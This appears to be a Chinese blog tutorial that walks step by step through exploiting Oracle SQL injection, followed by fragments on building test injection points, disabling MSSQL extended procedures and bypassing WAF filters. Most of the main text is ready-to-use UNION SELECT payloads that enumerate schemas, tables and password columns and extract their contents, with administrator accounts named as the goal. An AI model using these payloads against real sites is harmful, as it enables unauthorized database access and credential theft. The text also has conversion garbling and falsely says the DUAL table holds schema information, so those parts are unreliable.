安全檢測Oracle注入點全過程

2021-05-26 12:53:02 字數 2866 閱讀 5146

對於oracle注入點的檢測比較特殊,不像其它注入點一樣,需要經過多個步驟檢測確認注入 點所使用的資料庫型別是否為oracle。

oracle注入點判斷

首先,需要判斷是否為oracle注入點,可提交如下幾步查詢:

and 1=1

and 1=2

返回不一樣的頁面,則說明存在注入 漏洞,繼續在注入 點處提交如下查詢字元:

/*"/*"是mysql中的注釋符,返回錯誤說明該注入點不是mysql,繼續提交如下查詢字元:

--"--"是oracle和mssql支援的注釋符,如果返回正常,則說明為這兩種資料庫型別之一。繼續提交如下查詢字元:

;";"是子句查詢識別符號,oracle不支援多行查詢,因此如果返回錯誤,則說明很可能是oracle資料庫。再提交如下查詢:

and exists(select * from dual)

或and (select count (*) from user_tables)>0--

dual和user_tables是oracle中的系統表,如果返回正常頁面,則可以確定是oracle注入 防黑網點。

注入 點資訊判斷

確定注入點型別後,與前面的mysql注入一樣,先用order by x猜出字段數目,再用聯合查詢union select方法得獲取想要的資訊。

最主要的資訊是資料庫版本,可利用(select banner from sys.v_$version where rownum=1)獲取版本資訊,例如:

and 1=2 union select 1,2,3,(select banner from sys.v_$version where rownum=1),4,5…… from dual

獲取當前資料庫連線使用者名稱,可執行如下查詢:

and 1=2 union select 1,2,3,(select sys_context ('userenv', 'current_user') from dual),4,5…… from dual

執行如下查詢:

and 1=2 union select 1,2,3,(select member from v$logfile where rownum=1),4,5…… from dual

通過查詢日誌檔案絕對路徑,可以判斷作業系統平台。

另外,要獲取伺服器sid,可執行如下查詢:

and 1=2 union select 1,2,3,(select instance_name from v$instance),4,5…… from dual

利用oracle系統錶爆資料庫內容

與mysql一樣,可利用oracle系統表直接爆出資料庫中的所有內容。oracle中存在dual系統表,其中儲存了資料庫名、表名、欄位名等資訊,直接針對此表進行注入攻擊可獲得整個資料庫的結構,從而方便查詢到管理員帳號資料資訊。

爆出庫名

在注入點處提交:

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1),4,5…… from dual

可查詢爆出中第乙個庫名,然後繼續查詢提交:

and 1=2 union select 1,2,3,(select owner from all_tables where rownum=1 and owner<>'第乙個庫名'),4,5…… from dual

用同樣的方法,可以查詢出當前使用者資料庫中的所有資料庫庫名。

獲取表名

在注入點處提交:

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1),4,5…… from dual

可查詢資料庫中第乙個表,然後繼續查詢提交:

and 1=2 union select 1,2,3,(select table_name from user_tables where rownum=1 and table_name<>'第乙個表名'),4,5…… from dual

注意,表名要用大寫或大寫的16進製制**。用同樣的方法,可以查詢出當前使用者資料庫中的所有表名。

另外,也可以採用與前面mssql注入相似的方法,直接包含pass的表名,提交查詢如下:

and (select column_name from user_tab_columns where column_name like'%25pass%25')>0

如果返回頁面正常的話,則說明當前資料庫中有包含pass的表名。再提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where column_name like'%25pass%25'),4,5…… from dual

即可得到包含pass的表名。

獲取欄位名

在注入點處提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and rownum=1),4,5…… from dual

可獲取指定中第乙個字段。然後繼續查詢提交:

and 1=2 union select 1,2,3,(select column_name from user_tab_columns where table_name='表名' and column_name<>'第1個欄位名' and rownum=1),4,5…… from dual

即可獲取指定表中第二個字段。用同樣的方法,可以查詢出指定表中的所有欄位名。

獲取字段內容

在注入點處提交:

and 1=2 union select 1,2,3,欄位名,4,5…… from 表名

即可查詢出目標表裡面的相應字段內容,以此類推,可以獲取表中的所有字段內容。

Web安全之注入點構造

在測試過程中,經常需要自己本地構造注入點來進行sql測試,這邊分享一下,不同環境下構造sql注入的 php mysql版 con mysql connect localhost root root if con mysql select db test con id request id query...

ms sql 注入安全

sql查詢分析器 use master exec sp dropextendedproc xp cmdshell exec sp dropextendedproc xp dirtree exec sp dropextendedproc xp enumgroups exec sp dropextend...

SQL注入檢測繞過

例如 攔截union。我們可以使用union或union等方式繞過。同樣假設waf檢測關鍵字union,可以用u的16進製制編碼 55來代替u,組合成 55nion來嘗試繞過。結合大小寫也可以繞過waf。適用於waf只阻斷一次危險語句,而沒有阻斷整個查詢。我們可以在過濾語句前加注釋,使其過濾掉注釋中...